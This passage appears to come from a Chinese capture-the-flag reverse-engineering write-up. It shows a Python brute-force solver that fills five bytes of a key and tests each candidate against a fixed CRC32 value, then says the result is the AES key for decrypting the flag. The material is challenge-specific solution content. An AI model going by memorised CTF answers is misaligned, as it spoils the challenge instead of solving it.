     [30, 81, 95, 61, 234],
     [31, 199, 111, 58, 157],
     [32, 250, 66, 92, 43],
     [33, 108, 114, 91, 92],
     [34, 214, 35, 82, 197],
     [35, 64, 19, 85, 178],
     [36, 227, 134, 49, 44],
     [37, 117, 182, 54, 91],
     [38, 207, 231, 63, 194],
     [39, 89, 215, 56, 181],
     [40, 200, 202, 135, 37],
     [41, 94, 250, 128, 82],
     [42, 228, 171, 137, 203],
     [43, 114, 155, 142, 188],
     [44, 209, 14, 234, 34],
     [45, 71, 62, 237, 85],
     [46, 253, 111, 228, 204],
     [47, 107, 95, 227, 187],
     [48, 158, 82, 235, 54],
     [49, 8, 98, 236, 65],
     [50, 178, 51, 229, 216],
     [51, 36, 3, 226, 175],
     [52, 135, 150, 134, 49],
     [53, 17, 166, 129, 70],
     [54, 171, 247, 136, 223],
     [55, 61, 199, 143, 168],
     [56, 172, 218, 48, 56],
     [57, 58, 234, 55, 79],
     [58, 128, 187, 62, 214],
     [59, 22, 139, 57, 161],
     [60, 181, 30, 93, 63],
     [61, 35, 46, 90, 72],
     [62, 153, 127, 83, 209],
     [63, 15, 79, 84, 166],
     [64, 162, 35, 238, 102],
     [65, 52, 19, 233, 17],
     [66, 142, 66, 224, 136],
     [67, 24, 114, 231, 255],
     [68, 187, 231, 131, 97],
     [69, 45, 215, 132, 22],
     [70, 151, 134, 141, 143],
     [71, 1, 182, 138, 248],
     [72, 144, 171, 53, 104],
     [73, 6, 155, 50, 31],
     [74, 188, 202, 59, 134],
     [75, 42, 250, 60, 241],
     [76, 137, 111, 88, 111],
     [77, 31, 95, 95, 24],
     [78, 165, 14, 86, 129],
     [79, 51, 62, 81, 246],
     [80, 198, 51, 89, 123],
     [81, 80, 3, 94, 12],
     [82, 234, 82, 87, 149],
     [83, 124, 98, 80, 226],
     [84, 223, 247, 52, 124],
     [85, 73, 199, 51, 11],
     [86, 243, 150, 58, 146],
     [87, 101, 166, 61, 229],
     [88, 244, 187, 130, 117],
     [89, 98, 139, 133, 2],
     [90, 216, 218, 140, 155],
     [91, 78, 234, 139, 236],
     [92, 237, 127, 239, 114],
     [93, 123, 79, 232, 5],
     [94, 193, 30, 225, 156],
     [95, 87, 46, 230, 235],
     [96, 106, 3, 128, 93],
     [97, 252, 51, 135, 42],
     [98, 70, 98, 142, 179],
     [99, 208, 82, 137, 196],
     [100, 115, 199, 237, 90],
     [101, 229, 247, 234, 45],
     [102, 95, 166, 227, 180],
     [103, 201, 150, 228, 195],
     [104, 88, 139, 91, 83],
     [105, 206, 187, 92, 36],
     [106, 116, 234, 85, 189],
     [107, 226, 218, 82, 202],
     [108, 65, 79, 54, 84],
     [109, 215, 127, 49, 35],
     [110, 109, 46, 56, 186],
     [111, 251, 30, 63, 205],
     [112, 14, 19, 55, 64],
     [113, 152, 35, 48, 55],
     [114, 34, 114, 57, 174],
     [115, 180, 66, 62, 217],
     [116, 23, 215, 90, 71],
     [117, 129, 231, 93, 48],
     [118, 59, 182, 84, 169],
     [119, 173, 134, 83, 222],
     [120, 60, 155, 236, 78],
     [121, 170, 171, 235, 57],
     [122, 16, 250, 226, 160],
     [123, 134, 202, 229, 215],
     [124, 37, 95, 129, 73],
     [125, 179, 111, 134, 62],
     [126, 9, 62, 143, 167],
     [127, 159, 14, 136, 208],
     [128, 18, 225, 138, 253],
     [129, 132, 209, 141, 138],
     [130, 62, 128, 132, 19],
     [131, 168, 176, 131, 100],
     [132, 11, 37, 231, 250],
     [133, 157, 21, 224, 141],
     [134, 39, 68, 233, 20],
     [135, 177, 116, 238, 99],
     [136, 32, 105, 81, 243],
     [137, 182, 89, 86, 132],
     [138, 12, 8, 95, 29],
     [139, 154, 56, 88, 106],
     [140, 57, 173, 60, 244],
     [141, 175, 157, 59, 131],
     [142, 21, 204, 50, 26],
     [143, 131, 252, 53, 109],
     [144, 118, 241, 61, 224],
     [145, 224, 193, 58, 151],
     [146, 90, 144, 51, 14],
     [147, 204, 160, 52, 121],
     [148, 111, 53, 80, 231],
     [149, 249, 5, 87, 144],
     [150, 67, 84, 94, 9],
     [151, 213, 100, 89, 126],
     [152, 68, 121, 230, 238],
     [153, 210, 73, 225, 153],
     [154, 104, 24, 232, 0],
     [155, 254, 40, 239, 119],
     [156, 93, 189, 139, 233],
     [157, 203, 141, 140, 158],
     [158, 113, 220, 133, 7],
     [159, 231, 236, 130, 112],
     [160, 218, 193, 228, 198],
     [161, 76, 241, 227, 177],
     [162, 246, 160, 234, 40],
     [163, 96, 144, 237, 95],
     [164, 195, 5, 137, 193],
     [165, 85, 53, 142, 182],
     [166, 239, 100, 135, 47],
     [167, 121, 84, 128, 88],
     [168, 232, 73, 63, 200],
     [169, 126, 121, 56, 191],
     [170, 196, 40, 49, 38],
     [171, 82, 24, 54, 81],
     [172, 241, 141, 82, 207],
     [173, 103, 189, 85, 184],
     [174, 221, 236, 92, 33],
     [175, 75, 220, 91, 86],
     [176, 190, 209, 83, 219],
     [177, 40, 225, 84, 172],
     [178, 146, 176, 93, 53],
     [179, 4, 128, 90, 66],
     [180, 167, 21, 62, 220],
     [181, 49, 37, 57, 171],
     [182, 139, 116, 48, 50],
     [183, 29, 68, 55, 69],
     [184, 140, 89, 136, 213],
     [185, 26, 105, 143, 162],
     [186, 160, 56, 134, 59],
     [187, 54, 8, 129, 76],
     [188, 149, 157, 229, 210],
     [189, 3, 173, 226, 165],
     [190, 185, 252, 235, 60],
     [191, 47, 204, 236, 75],
     [192, 130, 160, 86, 139],
     [193, 20, 144, 81, 252],
     [194, 174, 193, 88, 101],
     [195, 56, 241, 95, 18],
     [196, 155, 100, 59, 140],
     [197, 13, 84, 60, 251],
     [198, 183, 5, 53, 98],
     [199, 33, 53, 50, 21],
     [200, 176, 40, 141, 133],
     [201, 38, 24, 138, 242],
     [202, 156, 73, 131, 107],
     [203, 10, 121, 132, 28],
     [204, 169, 236, 224, 130],
     [205, 63, 220, 231, 245],
     [206, 133, 141, 238, 108],
     [207, 19, 189, 233, 27],
     [208, 230, 176, 225, 150],
     [209, 112, 128, 230, 225],
     [210, 202, 209, 239, 120],
     [211, 92, 225, 232, 15],
     [212, 255, 116, 140, 145],
     [213, 105, 68, 139, 230],
     [214, 211, 21, 130, 127],
     [215, 69, 37, 133, 8],
     [216, 212, 56, 58, 152],
     [217, 66, 8, 61, 239],
     [218, 248, 89, 52, 118],
     [219, 110, 105, 51, 1],
     [220, 205, 252, 87, 159],
     [221, 91, 204, 80, 232],
     [222, 225, 157, 89, 113],
     [223, 119, 173, 94, 6],
     [224, 74, 128, 56, 176],
     [225, 220, 176, 63, 199],
     [226, 102, 225, 54, 94],
     [227, 240, 209, 49, 41],
     [228, 83, 68, 85, 183],
     [229, 197, 116, 82, 192],
     [230, 127, 37, 91, 89],
     [231, 233, 21, 92, 46],
     [232, 120, 8, 227, 190],
     [233, 238, 56, 228, 201],
     [234, 84, 105, 237, 80],
     [235, 194, 89, 234, 39],
     [236, 97, 204, 142, 185],
     [237, 247, 252, 137, 206],
     [238, 77, 173, 128, 87],
     [239, 219, 157, 135, 32],
     [240, 46, 144, 143, 173],
     [241, 184, 160, 136, 218],
     [242, 2, 241, 129, 67],
     [243, 148, 193, 134, 52],
     [244, 55, 84, 226, 170],
     [245, 161, 100, 229, 221],
     [246, 27, 53, 236, 68],
     [247, 141, 5, 235, 51],
     [248, 28, 24, 84, 163],
     [249, 138, 40, 83, 212],
     [250, 48, 121, 90, 77],
     [251, 166, 73, 93, 58],
     [252, 5, 220, 57, 164],
     [253, 147, 236, 62, 211],
     [254, 41, 189, 55, 74],
     [255, 191, 141, 48, 61]]

box_2 = [0x1B, 0xB1, 0xFF, 0xFD, 0x19, 0xFF, 0x89, 0x8C, 0x09, 0xFF,
         0xFF, 0xD7, 0x4A, 0xB3, 0xFF, 0xEB]

box = [0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832,
       0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
       0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A,
       0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
       0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
       0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
       0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB,
       0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
       0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4,
       0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
       0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074,
       0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
       0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525,
       0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
       0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
       0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
       0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76,
       0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
       0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6,
       0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
       0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7,
       0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
       0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7,
       0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
       0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
       0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
       0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330,
       0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
       0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D]

l = [2, 5, 9, 10, 14]


def check(input):
    v16 = 0xffffffff
    for j in range(4):
        v18 = box[(v16 ^ input[j * 4]) & 0xff] ^ (v16 >> 8)
        v19 = box[(v18 ^ input[j * 4 + 1]) & 0xff] ^ (v18 >> 8)
        v20 = box[(v19 ^ input[j * 4 + 2]) & 0xff] ^ (v19 >> 8)
        v16 = box[(v20 ^ input[j * 4 + 3]) & 0xff] ^ (v20 >> 8)
    if v16 == 0x80A18648:
        return True
    else:
        return False


def main():
    for i in range(len(s)):
        permutations = list(itertools.permutations(s[i]))
        for permutation in permutations:
            temp_box = box_2.copy()
            for j in range(len(l)):
                temp_box[l[j]] = permutation[j]
                if check(temp_box):
                    print(temp_box)
                    print(temp_box[2], temp_box[5], temp_box[9], temp_box[10], temp_box[14])
    flag = [237, 206, 247, 252, 137]
    flag1 = [237, 247, 252, 137, 206]
    end = [2, 9, 10, 14, 5]


if __name__ == '__main__':
    main()

最后替换后的box_2就是key,拿去解aes得flag

附件

  1. Pwn-server
  2. Re-re2
  3. Misc-猜一猜
  4. Misc-你要的就在这
  5. 密码
附件:
0 条评论
某人
表情
可输入 255